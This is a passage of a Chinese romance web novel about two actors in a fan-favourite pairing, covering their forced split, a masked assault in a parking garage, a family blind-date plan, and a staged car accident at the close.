秘书如蒙大赦。他知道,大概是不用叫同意他转正的领导来见小伏总了。
“看你气色不好。”伏越泽起身,亲自去茶几给商璘倒了杯水,递给他:“这两天没睡好?”
商璘接过水杯,却只是放在了旁边,道:“工作很累。”
“是许兰因让你很累吧。”伏越泽莞尔,“禾光成立这么多年,许兰因是我见过最难搞的艺人。但或许就是因为他这种性格,才会有那么多人被吸引。”
商璘:“喜欢他的人应该都是看脸吧。”
伏越泽:“毕竟现在这个社会,脸也是很重要的,更别说是吃演员这碗饭。”
“只要资本愿意捧,再烂的人也能立人设包装成大明星。”商璘语气淡淡。
“你对许兰因的评价不怎么样啊。”伏越泽偏头,“我以为你会比较维护他。是这次他和周鹤的绯闻彻底让你伤心了吗?”
商璘没说话。
伏越泽:“不应该吧。你对许兰因的容忍度一直很高。只是和别人的绯闻上热搜而已。而且他应该跟你说过了,他和周鹤的照片是我让人拍的。难道是又发生了什么我不知道的事情,让你决定远离他了?”
商璘:“小伏总关心员工的身体健康我可以理解,但是情感生活就不必了吧。”
“艺人的情感生活可比身体健康重要多了。”伏越泽撑着桌子,俯身看着商璘的眼睛,“可以跟你的老板说说看吗,究竟是因为什么,让你不再犯贱?”
商璘眼皮跳了跳,皱起眉,刚要问伏越泽发什么神经,门口忽然有人道:“小璘哥,来这么早是有悄悄话要跟小伏总说?”
伏越泽站直身体,笑道:“要是说悄悄话,肯定关着门了。”
他抬手往会客沙发那里一让,“坐吧。”
“苏姐呢。”商璘问。
“她不来。”伏越泽道:“这会我们三个人开。”
许兰因挂着两个大黑眼圈,头发乱糟糟像个鸡窝,衣服估计也是随便套了一件就走,估计昨晚上又在酒吧鬼混到了凌晨,他摊在沙发上,毫无形象,也丝毫没把伏越泽放在眼里:“如果你是要说综艺直播那事儿,我承认是我的问题。但现在就算是我出面道歉说当时是被鬼上身了才摁着小璘哥强吻的,估计也没人信吧。”
伏越泽:“所以到底是因为什么?”
“他惹我生气了。”
伏越泽:“你知道这件事带来了多大的影响。公司一直在铺垫你们解绑的消息,这件事一发生,全白费了。”
许兰因不仅没有半点愧疚,还挑衅地看着伏越泽,“那就不解绑。”
“……”伏越泽今天还算好脾气,“我发给你们的邮件里,已经把解绑的原因说得很清楚了。”
“我从来没同意过。”许兰因冷冷说:“一直是你们在自作主张。”
伏越泽耐心告罄。跟许兰因讲人话他根本是听不进去的,“你应该遵从公司的决定。”
许兰因:“我是给禾光打工,又不是卖给了禾光,公司如果不考虑我的诉求,我为什么要为公司考虑?”
“合同里写得清清楚楚,艺人应该配合公司安排的工作。”
“公司让我去死我也去?”
“工作和去死不能混为一谈。”
“让我和小璘哥解绑还不如让我去死。”
“……”
两人针尖对麦芒,谁都不肯退让。伏越泽忽然往沙发靠背上一靠,说:“你说的对,公司确实不能罔顾艺人的个人意愿,那么公平起见,也应该尊重商璘的意见——”
他看向商璘,“阿璘,你觉得呢。”
许兰因也看向商璘,把下唇都咬得泛白了,虽然什么都没说,一双眼睛却又好像什么都说了。
商璘忽然觉得自己就像是走在独木桥上,脚下是万丈深渊,伏越泽和许兰因一个在这头,一个在那头,都向他伸手,要将他拉进自己的阵营里。
甚至许兰因天然觉得,商璘会站在他那一边。
确实也是如此,过去的所有争执里,商璘都站在他那一边。
商璘在两人的注视里淡声道:“我已经说过了,同意解绑。”
“小璘哥!”
许兰因伸手抓住商璘的手臂,“你为什么非要……”
商璘慢慢掰开许兰因的手指,语气很平静:“因为我太累了。”
“什么?”
“如果你不相信那些分开后发展会更好的冠冕堂皇的理由,那我把真正的理由说给你听。”商璘与许兰因对视,没有丝毫退让,“我和你认识四年,我给你收拾了多少烂摊子你自己清楚,我不是没有情绪的木偶,只是我比其他人更能忍一点,但也就这样了。”
“许兰因。”他轻轻说:“你让我太累了。”
“对不起,我……”
“不用跟我道歉。”商璘说:“相处的这四年里当然也有快乐的时光。”
是我胆怯。是我贪婪。
商璘想,总不能爱了一场,最后落得曾翰和尹佳阳那样不体面的收场。
许兰因额角青筋鼓起,不停跳动,伏越泽说:“你又要靠大吵大闹让商璘回心转意?”
“……”
许兰因垂下通红的眼睛,呼吸都在颤抖。
出乎意料的,他竟然什么也做,一言不发转身离开了办公室。
商璘攥紧的手指慢慢放开,他看着自己掌心里深陷下去的指甲印,脑子里一片混沌,良久才意识到,这些话其实也没
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有很难说出口。
伏越泽道:“看来这次他确实做了相当过分的事情。”
商璘垂着眼睫,有些厌倦地:“要是没有别的事,我就先走了。”
伏越泽笑了一下,却只是虚假地浮在面皮上,“我还以为你大二那年放弃出国交换时的失魂落魄,此生我不会再见到第二次。”
商璘冷淡道:“小伏总要是想跟我回忆往昔,麻烦改天,我现在很累。”
“好。”伏越泽举起双手作投降状,“之前我跟你提过的事情,记得好好考虑。”
“不用考虑。”商璘说:“我不会再续约。”
说完他拉开办公室的门,正好遇见周鹤要进来。人的大脑在超负荷的状态下反而容易胡思乱想,比如此刻商璘就想起公司里的传闻,说周鹤和伏越泽有点不正当关系。
“商老师。”周鹤微笑,“我来得不巧。”
“已经谈完了。”商璘顿了顿,“你要是有事找小伏总,下午再来吧,他这会儿心情不好。”
容易被迁怒。
周鹤微怔,随即点头:“谢谢商老师提醒。您人真好。”
“不用客气。”商璘等了几秒,周鹤毫无动静,他终于道:“麻烦让一下。”
“啊,不好意思。”周鹤侧开身体,“才发现我把门挡住了。”
商璘点了下头,快步离去。
周鹤探头进办公室,“解绑的事情还是没谈成?”
伏越泽站在落地窗前点烟,声音有些含糊:“谈成了。”
商璘都说了这样的狠话,心高气傲如许兰因,应该不会再继续纠缠。
“那小伏总怎么看着还是不太高兴。”周鹤挑眉,“商老师都说让我现在不要来触你霉头诶。”
伏越泽警告道:“既然还没跟许兰因搭档,就别把商璘当做你的假想敌。”
周鹤:“我应该听商老师的忠告。小伏总,惹你生气的人又不是我,训我干嘛。”
“收起你那点小心思。”伏越泽拍拍他的脸,“我能捧红你,也能封杀你。”
周鹤勾住他脖子,仍旧笑盈盈的:“我好怕啊。”
……
顶流cp就是不管闹得多难看、吵得多激烈,还是要一起营业。
这一点不管是商璘还是许兰因都莫可奈何。前一天还在伏越泽的办公室里彼此都红了眼眶,后一天就要配合摄影师的要求彼此拥抱,深情对视。
“兰因不会是被鬼上身了吧。”休息期间小唐在保姆车上嘀嘀咕咕:“是不是得请大师看看才行……”
商璘:“什么?”
“就是很奇怪啊!”小唐瞅了眼远处跟人聊天的许兰因,掰着手指道:“这几天见到你客气打招呼,工作时积极配合就算了也没有借着机会偷亲你,不一起吃饭也不一起休息,甚至定饮品的时候要了最讨厌的冰美式!”
商璘拧开保温杯喝水,蜂蜜水明明是甜的,流经喉头却一片苦涩。
小唐:“璘哥,我认识个特别厉害的大师,要不请来给兰因看看吧。”
商璘:“新时代别搞这些封建迷信。”
小唐:“搞一搞又不会怎么样,一盆黑狗血下来不管多凶的鬼都挨不住,保证还你一个又乖又可爱的许兰因!”
商璘:“……”
又乖又可爱的许兰因,那才是被鬼上身了吧。
现在这样对商璘来说很好,他总要慢慢退出许兰因的生活。
13.第 13 章
拍摄结束后有个聚餐,一群人浩浩汤汤进了餐厅包厢,商璘刚坐下,旁边就有人小声说:“璘哥,我能坐你旁边吗?”
问话的是这次一起拍摄的艺人,大概是有过几次合作,商璘眼熟,但是一时间想不起名字。
小唐已经在商璘右边坐下了,一般来说商璘身旁的另一个位置肯定属于许兰因,听见这话后她立刻抬头看了眼。
许兰因边跟品牌负责人说话径直往这边走,小唐想着帮商璘拒绝,谁知商璘说:“可以,坐吧。”
于是那个艺人就在许兰因的眼皮子底下坐在了商璘左手边,满脸激动兴奋地和商璘说话,丝毫没有察觉到三米开外许兰因脚步停住了。
负责人看着相谈甚欢的两人,眼皮一跳,“小何怎么这么不懂事,我这就让他起来……”
“不用。”许兰因笑笑,“小璘哥不喝酒,我陪您喝一杯?”
“好好好……”
许兰毫无异色地从商璘身侧路过,小唐张大了嘴。
这种情况,肯定要请大师来看看才行吧?如果放在以前,许兰因要是心情好,就嘴贱嘲弄人家两句,心情不好就站人家面前一言不发,不管是哪种,都相当的不给面子也毫无情商,让人下不来台。
所以刚刚她就非常担心许兰因要发难,结果许兰因又忍了。
这不是鬼上身是什么??
小唐忙去看商璘的表情,结果商璘比许兰因更淡然,完全把人当空气,一直在跟旁边那艺人聊天。
小唐心如死灰。
难道她磕的cp真的要分手??这可是她入圈的初心啊!要不是为了近距离地磕cp,她用得着一毕业就过五关斩六将地来当这个助理吗?
“小唐?”商璘摸了摸小唐的脑袋,“发烧了?看你脸好红。”
“……”那是气红温了!
小唐有气无力地道:“我没事的璘哥,可能是有点感冒。”
商璘:“你先回去休息吧,我待会儿自己开车回去。”
“可是兰因……”
“我会让他叫代驾。”商璘温声道:“去买点药吃,你额头真的很烫。”
小唐:啊,原来不是因为产品要解绑而气得头晕眼花,而是真的头晕眼花,病理性的啊。
她现在这样子也没法照顾商璘他们了,只好嘱咐:“璘哥,要是有什么事记得给我打电话哦。”
商璘说好。
小唐离开后旁边的人还在说什么,商璘其实一个字都没听进去,只会根据对方的语气和停顿给出点头、微笑、“是吗”、“这样”之类的万金油回答。他眸光轻轻扫过许兰因,落在他翘起的唇角上。
真是难以想象,性格那么烂的人,竟然拥有灿若朝阳的笑。
商璘一贯不喜欢这种场合,过来本也就是意思意思,见差不多了,便起身跟大家告辞,众人一番挽留,商璘坚持离开,也就放人了。
“许兰因。”商璘道:“喝了酒别开车。”
许兰因在跟一群人推杯换盏,听见他的话头都没有转过来,只是笑着说:“知道了小璘哥。”
商璘其实还是有些不放心,皱起眉想要说什么,又咽了回去。
算了。许兰因都二十四岁了,又不是真的小孩子。
近两日倒春寒,气温骤降,很多人都忘了添衣,感冒的不少,商璘也有些不舒服,他一边回忆家里的医药箱里还有没有感冒冲剂,一边去地下车库。
这家餐厅的地下车库很暗,只能勉强看清楚车牌,商璘好不容易找到了自己的车,拉车门的时候忽然身后传来一股巨力。
商璘猝不及防,整个人都被按在了旁边的支撑柱上,灯光本就昏暗,对方还一上来就死死捂住了他的眼睛。视力被剥夺,人就会陷入恐慌,商璘全身绷紧,提拳就揍,对方却好像早知道他会这样,抬腿在他膝盖上一扫,另只手擒住他手腕,商璘被翻了个面,有些狼狈地贴着白墙,沾了一脸墙灰。
“你到底……唔!”商璘猛然睁大了眼睛。
这人竟然从后面咬了他脖子一口!
那力道大得简直像是要从他身上撕下一块肉来,商璘都疑心是不是出了血,尖锐的痛楚遍布全身,他额角渗出冷汗,哑声道:“许兰因……发什么疯!”
没有回应。
商璘:“妈的,许兰因,放开我——”
身后的人似乎冷笑了一声,下巴传来一股大力,商璘的头被迫后转,压在眼睛上的手却仍旧严严实实,不透一丝光亮。随即商璘就感觉那人咬住了他的唇。
商璘的第一反应是恐惧。
这个疯子该不会是像咬他脖子那样咬他嘴唇吧?
“许兰因……唔嗯……”商璘的话被探进嘴里的舌头完全堵住,只能发出无意义的音节。
最开始被按在柱子上时,商璘以为是许兰因在发癫,直到此刻,尝到对方唇舌间的薄荷味,他才开始头皮发麻,心脏狂跳——不是许兰因。
许兰因薄荷过敏,就连薄荷味的东西都不会碰。
那这人是谁?那个被许兰因揍过的私生??
之前以为是许兰因商璘才收着力气,既然不是,也就没必要留手了。
商璘神色冰冷,抬起膝盖用力顶向男人小腹,这么近的距离男人几乎避无可避,可他明明察觉到了商璘的动作,连躲闪的想法都没有,硬生生挨了这一下。商璘感觉到他身体有点发抖,应该是很痛的,但他愣是哼都没哼。
这人挨了打之后不退反进,捂住商璘眼睛的手臂青筋鼓起,死死往下压,迫使商璘只能仰起头,暴露出虚弱的颈项,一副引颈就戮的姿态,男人掐住他脖颈。吻得更深更狠。
脖子上的五指触感那么鲜明,明明白白地昭告商璘:要是再敢乱动,就拧断你的颈骨。
而从对方那恐怖的力气判断,他也确实有这样的能力。
但商璘从来算不上好脾气的人。
来不及吞咽的唾液沿着两人唇角流出,在空中拉出透明的线,密集的水声在空荡的地下停车场分外清晰,可这个吻不带丝毫旖旎,反而如同两头凶狠的兽类相搏,商璘一口咬在他舌头上,两人都是满嘴的血,趁着对方吃痛,商璘反手一个肘击砸在他头上,与此同时一脚踹出去。
这一脚力气极大,男人被踹出去又砸在车身上,这次终于撑不住发出一声粗哑的闷哼,他捂住自己的腰腹,身体略微佝偻,灯光太暗,商璘只看见他穿了一件宽大的黑色冲锋衣,袖口上有个挺显眼的蓝色logo。他刚拿出手机想要看清楚他的脸,对方却冷笑一声,转头就跑。
“我操……”商璘骂了一声,“你给我站住!”
那疯子怎么可能站住,跑得极快,而且还对周遭环境相当熟悉,转瞬就没了踪影。
“……”商璘深吸了口气,抓了把自己的头发。
人活久了还真是什么都能遇到。下来开个车都能被神经病抓住强吻。
嘴里一股薄荷糖和鲜血交织的奇怪味道,脖子上被咬过的地方更是痛得不行,商璘轻轻揉了两下,终于撑不住靠着柱子滑下,从烟盒里摸出一根烟点燃,用尼古丁和焦油平息体内翻腾的怒火。
操了。
他大爷的。
什么玩意儿。
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抽着抽着他又想着这可不能让许兰因看见了。许兰因抽烟总挨骂,只许州官放火不许百姓点灯的话以后也没什么威信了。
说曹操曹操到,刚想到这里,手机响了,是许兰因的电话。
商璘闭上眼睛,深呼吸了两口,点了接听:“怎么?”
“我们饭局结束了,这边有点偏,不好叫代驾,小璘哥,你走了吗?捎我一程呗。”
商璘这会儿一身一脸的灰,脖子上一个通红的牙印,头发乱了嘴唇破了,狼狈得不行,才不乐意给许兰因看见。于是弹了弹烟灰,脸不红心不跳地撒谎:“走了。”
话音刚落,就有一道手机电筒的光照过来,商璘下意识眯了下眼睛,许兰因站在黑暗里,居高临下看着他:“小璘哥,干嘛骗我呢。”
“……”
商璘又暗骂了一声。
许兰因蹲下,“背着我偷偷抽烟呢?”
他将还剩小半截的烟从商璘指间抽走,叼进自己嘴里,那样子有点流里流气的,半眯着眼睛打量商璘:“搞成这样子,你被抢劫了?”
“……嗯。”商璘说:“刚遇见个神经病。”
“这个神经病劫色的吧。”许兰因用两根手指拉开商璘的衣领,电筒光落在上面,他挑眉说:“被疯狂女粉丝咬的?”
“狗啃的。”商璘咬了咬牙,“要去打狂犬疫苗才行。”
许兰因笑了声,“要不要报警啊?”
商璘:“你还笑得出来?”
“我没有其他意思。”许兰因唔了声,“只是觉得你刚刚坐在这里抽烟,好像一只翻垃圾桶的流浪小猫咪哦。”
商璘揪住他头发,面无表情说:“你再给我狗叫?”
“哈哈哈哈,不敢了,小璘哥我要被你拽秃了。”许兰因伸手把商璘拉起来,“不过报警估计也很难找到人,这儿没监控。”
“谁说要报警了。”商璘脸色难看,“还嫌不够丢人。”
许兰因:“那就这么算了?”
“被狗咬了一口而已。”商璘擦了擦唇角的血迹,警告许兰因:“你也给我闭嘴,少去跟人胡说八道。”
许兰因做了个在嘴上拉拉链的动作,“我今天什么都没看见。所以小璘哥,能送我一程吗?”
商璘:“去哪儿?”
“回我家睡觉。”许兰因揉揉脑袋,“那几个负责人太能喝了,我头晕。”
自从在办公室放了狠话后,许兰因确实改变不少,要是以前,绝对会赖着跟商璘一起回家。
他好像终于知道了应该要跟商璘保持距离。
上了车,商璘让许兰因系安全带,瞥见他身上单薄的卫衣,道:“最近倒春寒,很冷。你就穿这么点?”
年轻人都是要风度不要温度,今天拍摄的时候许兰因穿着这么单薄的衣服晃来晃去,商璘看着都觉得冷。
“冷是一时的,帅是一辈子的。”
商璘:“现在零个人会看你帅不帅。”
他发动车子,慢慢驶出地库,还不忘左右看看那个胆大包天的神经病是不是还没走远。
当然一无所获。
商璘送许兰因到小区门口,许兰因似乎真是喝的不少,一路上都恹恹的,靠在旁边睡觉,下车时跟商璘晃了晃脑袋算是告别,商璘嗯了声,本想照常目送他进去再走,但想了想又觉得不妥。
于是他准备踩下油门让许兰因吃一嘴尾气,结果油门还没踩下去,车窗玻璃先被人敲响了。
许兰因隔着降下一半的车窗看着商璘,指指自己的脖颈,说:“小璘哥,记得上药,小心真的被传染狂犬病毒。”
14.第 14 章
商璘回家后给那家餐厅的经理打了个电话,问他地下车库有没有监控。
经理挺心虚:“车库的摄像头上个月坏了,一直没修,您是有什么贵重东西掉车库里了吗?我这就让人去给您找找。”
许兰因说的竟然是真的。
商璘摸了摸脖子上的伤口,“你们那监控还是赶紧修修,本来就光线不好,太容易出事。”
经理连忙告罪。商璘当然不可能找人麻烦,挂了电话后去找药清理伤口。那个神经病下口真是不轻,这么久过去,牙印不浅反深,齿印最深的地方都变得青紫了,估计真的被狗咬一口也就这样了。
起先商璘以为是那个疯狂的私生,之前他就跟到了小区楼下,还想尾随他们进去,被许兰因发现后暴打一顿,也不知道是被打怕了还是怎么着,有段时间没出现了。
今天那人,虽然商璘没看见长相,但身高对不上,应该不是那个私生。
最近苏纭本就忙得焦头烂额,商璘也没打扰,只能自己吃了这个闷亏。
后续几天都是他自己的单人行程,商璘没再见到许兰因,许兰因也没联系他。以往许兰因的头像不用置顶也在第一个,因为他一天能发八百条消息轰炸商璘。现在却因为久不联系,慢慢掉出了第一页,要翻好久才能看见那个黑乎乎的头像。
许兰因这人也是奇怪,臭美,自恋,总是活力十足,头像却是一片漆黑的、没有星辰和月亮的夜空。
商璘的手指在那个头像上一点,又摁灭了屏幕,将手机丢到一边,继续闭目养神。
再见到许兰因,是半个月后。
他主动联系商璘,说皇太后有令,今晚必须回去吃饭。
商璘的母亲薛海雁女士在商璘四岁那年离婚,之后一直没有再婚,是位已经退休的人民教师。
在商璘以为还能和许兰因一起走很多年的时候,他总想把自己拥有的一切都分给许兰因,弥补他童年、少年时代都没有得到过的温情。商璘自己沉默寡言,和母亲的相处就像是木讷的学生和严肃的老师,相比较之下,许兰因很会撒娇卖乖,薛海雁几乎拿他当半个儿子养。
所以直接给许兰因打电话叫他们回去吃饭,商璘这个亲儿子反而是被转告的那个,他也并不觉得奇怪。
晚上六点十三分,工作结束,商璘开车回母亲家。薛海雁仍旧住在商璘外公外婆留下来的老房子里,她太念旧,即便这里已经老旧得不像话,还是不肯搬走。
两人正好在停车的地方遇见,许兰因从车上拎了好几个纸袋子下来,商璘看着上面的奢侈品logo,问:“买的什么?”
“护肤品和一个包。”许兰因说。
商璘:“她不喜欢这些。”
许兰因:“买给她她会喜欢的,她只是心疼你花钱。”
商璘怔住。
记忆中,母亲是个工作强人,当了几十年班主任,在学校的时间比在家里多,商璘觉得自己买东西可能会猜错母亲的喜好,所以都是直接给她打钱,让她喜欢什么自己买。
但印象中,她好像没给自己买过什么。
许兰因把其中一个袋子塞进他手里,“这个包就说是你买的。”
“为什么?”
“去年因为工作,过年都没回来,该给阿姨买个礼物赔罪才对。”许兰因说:“你一点都不会讨女人欢心啊,小璘哥。”
“之后把钱转给你。”商璘接过了袋子。
“好啊。”许兰因率先往前走,语气散漫:“我好像都闻见阿姨做的红烧肉的味道了,快走吧小璘哥。”
商璘嗯了声。
薛海雁早就听见楼下车声了,提前站门口等着,许兰因笑着上前跟她拥抱了一下:“阿姨,今天怎么这么漂亮。”
薛海雁嗔怪道:“都七老八十了,还漂亮的话那不成老妖精了。”
许兰因:“在我心里阿姨就是全天下最漂亮的女人。喏,上次给你买的护肤品用完了吧?新的补上。”
“你这孩子怎么又买东西……”
“小璘哥也买了啊。”许兰因侧过头,“对吧小璘哥?”
商璘除了刚开始叫了声妈后就一直在旁边站着,听许兰因说他才将袋子递出去,“买了个包,平时出门装东西方便。”
薛海雁:“我有包的呀,怎么还专门花钱买……”
“小璘哥一片孝心,阿姨你就收下吧。”许兰因道:“而且是在国外买的,现在想退也退不了啦。”
薛海雁无奈地:“你们这些孩子啊……”
许兰因:“快拆开试试看,我去厨房盛饭,早就饿了。”
很多奢侈品都对许兰因青眼有加,因为他好像天生带着一股贵气,就算是穿拼夕夕三块九包邮的T恤衫都像是国际大牌。不仅如此,他的审美眼光也很好,选的包正适合薛海雁,让她在镜子前照了又照,爱不释手。
商璘从镜子里看见她脸上的笑容,微微抿紧唇,进厨房洗了个手,帮忙一起端菜,与许兰因擦肩而过时轻声说:“谢谢。”
“不用客气。”许兰因道:“小璘哥也帮我很多。”
商璘还有点不适应他这又有礼貌又乖巧的状态,原地愣了几秒才走出厨房。薛海雁做了一大桌子菜,看着琳琅满目,许兰因又吹了一通彩虹屁,哄得薛海雁心花怒放。
席间薛海雁问起许兰因的女朋友,许兰因:“您问哪一个?”
薛海雁一头雾水:“还有好几个?”
老太太并不知道眼前这个看着乖巧的孩子有多浑,以为许兰因还在跟前年吃年夜饭时的说起的那个女孩儿交往。殊不知人家姑娘今年孩子都生了。
“他们分手了。”商璘及时出声保住了许兰因的名声,“工作太忙,聚少离多,就分了。”
“哎哟,那也真是。”薛海雁叹气,“干你们这行确实辛苦,拍戏的时候经常熬大夜,飞国外参加活动也是动辄坐十几个小时的飞机。”
她很快又说:“不过兰因年纪还小,不着急,之后总会遇见更好的。”
许兰因叼着筷子笑嘻嘻的:“是啊,总会
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遇见更好的。”
薛海雁话锋一转,对上了商璘:“阿璘,兰因年纪比你小,都交过女朋友了,你怎么一直没信儿?”
商璘眉心一跳,预感不好,果然下一秒许兰因就说:“阿姨,您不知道吗,小璘哥有个喜欢了好久的人呢,都已经谈婚论嫁了。”
薛海雁眉头都瞬间舒展了,忙问:“是吗?你这孩子怎么都没跟我说一声。准备什么时候带回来给妈妈看看?”
“……”商璘道:“别听许兰因胡说,没有的事。”
许兰因坐在商璘对面,仍旧是那副人畜无害的模样,“你亲口跟我说的啊小璘哥,怎么转头又不认了?”
薛海雁眼神热切,商璘知道不给个说法是不行了,只好道:“没有谈婚论嫁,我们没在一起。”
许兰因弯起的唇角慢慢掉下去,眼睛也轻轻眯起来。那一瞬间商璘甚至觉得自己像是被许兰因盯上的猎物,不知道什么时候就会被他的尖牙洞穿脖颈而亡。
“没在一起?”薛海燕着急道:“为什么没在一起?”
商璘:“是我喜欢他,他不喜欢我。”
薛海雁急了,站起来道:“你这么好,她怎么会不喜欢你呢?”
“妈。”商璘说:“我又不是人民币,怎么会人人喜欢。”
许兰因撑着下巴,慢悠悠道:“我就很喜欢啊。”
“……”商璘瞪他,“少添乱。”
许兰因撇撇嘴。
薛海雁叹口气,拍拍商璘的肩膀,说:“其实我今天叫你回来呢,是有事跟你说。”
商璘眼皮又跳了两跳。
“我前几天去社区活动中心,认识了几个老太太,其中有一个,她女儿是主持人,没准你们还认识的。”薛海雁一边说一边拿出手机翻照片给商璘看,“也是因为工作忙,一直没对象。家里着急啊,就想着说安排相亲试试。”
“你看看,人孩子长得可漂亮了……”
商璘还没看到照片,就听咔嚓一声,许兰因手边的杯子掉到地上,一地碎片,他啊了声,“不好意思阿姨,不小心。”
“没事没事。”薛海雁说:“你坐着别乱动,小心被碎玻璃伤到。”
商璘去拿了扫帚来清理碎玻璃,薛海雁道:“阿璘,妈都这个年纪了,唯一的愿望就是看着你结婚生子,你不是跟我说之后工作不会很忙了吗?是不是该考虑家庭了?”
“我……”
“要是你姐姐还在,她肯定也想早点看见你成家。”薛海雁叹气说:“从小她就最爱你了,如果看见你结婚,有了自己的家庭,她在天有灵,应该也会欣慰吧。”
“……”商璘攥紧了扫把。
“再说了,只是让你们见个面。”薛海雁继续道:“如果没感觉,那就当是朋友出去吃个饭,不影响的。”
“我昨天都还梦见你姐姐……”
“好。”商璘打断薛海雁的话,他将破碎不堪的玻璃杯残渣倒进垃圾桶,脸上看不出什么情绪,声音也淡淡的:“我会去见她。”
15.第 15 章
当夜薛海雁让商璘和许兰因留宿,商璘推脱说第二天还有工作,拒绝了。商璘要走,许兰因当然不会留下。他跟薛海雁再三保证会常来看她,薛海雁才放人。两人走出去几步,薛海雁想起什么,又说:“阿璘,周六晚上六点半见面,别忘了啊,还有,我把那姑娘的照片发给你了,你看看。”
商璘说好。
老旧居民楼没有电梯,楼梯也很狭窄,商璘和许兰因前后走着都觉得逼仄,尤其许兰因还走在商璘身后,声控灯不够明亮,便显得影子格外漆黑,山岳一般压在商璘身上,莫名让他觉得有些喘不过气。
好在楼层不高,很久就走完了,到单元楼的时候许兰因忽然开口:“不看看吗。”
商璘:“看什么?”
“阿姨发给你的照片啊。”
“没什么好看的。”
“你都要跟人去相亲了,照片都不看?”许兰因抱着胳膊靠在斑驳的墙面上,也不管会不会弄脏自己身上昂贵的衣服,要笑不笑地说:“还有,之前说自己有女朋友了,非要跟我解绑,要跟人结婚……现在又是什么情况,被甩了?”
“……”商璘皱起眉,看着许兰因,“跟你有关系?”
许兰因:“你不是说了吗,就算解绑,我们还是朋友,作为朋友,我关心下你的感情生活都不行?”
商璘平心静气:“是,被甩了。而且我年纪大了,确实该组建家庭,既然对方也有同样的打算,见一面也没有什么不好。”
许兰因咬紧牙:“见面之后呢?”
商璘知道许兰因不爱听什么,专门挑着说:“见面之后要是觉得不错,那就结婚,生孩子,按部就班工作养家,大家不都是这样吗。”
许兰因气得浑身发抖。
他眼睛通红,却没有掉眼泪,只是死死盯着商璘,那种恐怖的眼神商璘从来没有在许兰因身上看见过,竟然令他后脊背发寒。
“小璘哥。”许兰因逼近了一步,垂下头抓着商璘的手,又像是一只纯良无害可怜兮兮的小狗了,哽咽道:“你骗我的,对不对?”
商璘当然是骗他的。
他喜欢许兰因,或许还会一辈子喜欢许兰因。怎么可能跟其他人组建家庭,害了人家女孩子。
但绝情的、伤人的话总要说出口,变作洞穿许兰因的利箭,变作许兰因身上的伤口,才能结束这场荒唐又无果的单恋。
“我为什么要骗你。”商璘微微偏头,“许兰因,我今年三十一岁了,这个年纪结婚不是很正常吗?”想了想,他又说:“要是有了孩子,可以认你做干爹。”
“……”许兰因不可置信道:“你还要跟她生孩子?”
商璘:“……不跟我老婆生,难道跟你生?”
他像是所有成熟的兄长那样,拍了拍许兰因的脑袋,“以后你也会遇见想要结婚的人。”
“我……”
商璘打断他:“好了兰因,我先走了,你也记得早点休息。”
他礼貌客套地点下头,转身上了自己的车,将许兰因丢在倒春寒的冷风里。
等车开出去好远,等红绿灯的时候,商璘才垂头趴在方向盘上,深深地吸了口气。
许兰因脸上的表情好难过,是不是把话说得太重了?或许还是应该慢慢来,这么直接许兰因接受不了也很正常……
商璘咬紧唇,忽然一拳砸在车窗上。手指关节阵痛,他向后仰起头,喃喃道:“商璘,别心软了。”
再这样下去,你一辈子都离不开他。
……
许兰因不知道自己站在楼下吹了多久的冷风,才慢吞吞爬上车,拧钥匙、踩油门、打方向盘几乎全是肌肉记忆,车子驶出去,等他回过神的时候,发现四周偏僻,自己都不知道开到什么地方来了。
许兰因骤然回神一般,惊醒过来——手机一直在响。他下意识以为是商璘问他到家没有,接起来才发现是罗旭,脸上表情也骤然冷静下来。
罗旭说:“在哪儿鬼混呢,知道我给你打了多少个电话吗?”
许兰因不耐烦道:“什么事。”
“找你喝酒啊。”罗旭道:“你不是跟你那女朋友分了吗,我给你介绍个新的呗,学大提琴的,特有气质特漂亮。”
许兰因:“能有商璘漂亮?”
“……”罗旭说:“男人和女人能比吗?再说了,谁会用漂亮来形容商璘啊?他粉丝都说他帅得让人腿软来着。不是啊兰因,你最近怎么张口闭口都是你哥,你不会真是……”
许兰因嫌他聒噪,“没事挂了。”
“诶,有事。”罗旭忙说:“正经事,我朋友不是在那家疗养院工作么,他说老太太可能是要不行了,现在家里勾心斗角乱成一团。”
“那么多仪器吊着也不行了?”
“年纪大了,又有那么多基础病。”罗旭嗨了一声,“阎王爷要你死,就算你是皇帝也得下去啊。我寻思趁着老太太还在,你赶紧……”
许兰因:“没兴趣。”
“怎么那么犟呢,你这人真是……”
许兰因瞳孔猛然放大,罗旭的话
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都没听完,手机就飞了出去,他整个人也往前扑,又被安全带勒回来,重重砸在椅背上,强烈的撞击让许兰因头晕目眩,还伴随着严重的耳鸣,好一会儿他才反应过来。
妈的,车让人追尾了。
许兰因本就心情不好,这位算是犯他手上了。
他解开安全带下车,脸色阴沉。就见荒凉的柏油马路上只有他和肇事车辆,他车的整个车尾被撞得凹陷进去,大灯全坏了,还在冒烟。
“对对对对、对不起啊兄弟!”司机估计也是吓傻了,哆哆嗦嗦地下车,不停作揖:“我一个没刹住……”
许兰因冷冷道:“你眼瞎吗。”
司机真就揉了揉眼睛,终于看清了他的车标,吓得一屁股坐在了地上。
许兰因蹲下身盯着他,“疲劳驾驶?”
司机一个激灵,连忙否认:“没没没没有!”说着又控制不住打了个哈欠。
许兰因冷笑。
司机都想给他磕两个头了,如丧考妣:“兄弟,你这车修的话,得多少钱啊?啊不是……你有没有受伤?我送你去医院看看吧……”
许兰因原本满脸不爽,听见这话后,忽然眯了下眼睛。
“想知道我这车修下来多少钱?”许兰因拎着司机衣领,“其实你不用这么紧张修车费,因为我这人修下来更贵。”
司机崩溃:“我看你也没缺胳膊少腿啊……”
许兰因:“我说我被你撞坏了脑袋,你又能怎么样?”他笑嘻嘻地曲起手指:“一,我正常行驶,你从后追尾。二,你疲劳驾驶。三,我这车维修费起码六位数,我的医药费误工费更是天文数字。”
司机都要尿裤子了,“大哥,我错了,我真知道错了……”
“但是现在这些,我可以都不要你赔。”许兰因松开手,还给司机整了整衣领,“只要你帮我个小小的忙就好。”
司机简直以为他疯了,迟疑道:“真、真不要我赔?”
“你还有别的选择?”
“那、那你要我帮你干什么?”司机咽了口唾沫,“杀人放火可不行!”
“放心。”许兰因拍拍他肩膀,站起身走到马路中间,“开车撞我。”
“别担心,这节路没监控。”
司机完全是看神经病的眼神了,“你……”
“别忘了帮我打个120。”许兰因慢悠悠说:“哦对了,先给我手机里的置顶联系人打电话,就说我出车祸,马上就要死了,知道吗?”
他伸开双臂,微笑道:“来吧。”
16.第 16 章
商璘接到电话的时候刚洗完澡出来,想起母亲说相亲对象也是他同行,便准备看看照片,没准还真认识。
手指刚要点开跟薛海雁的聊天框,许兰因的电话打进来了。
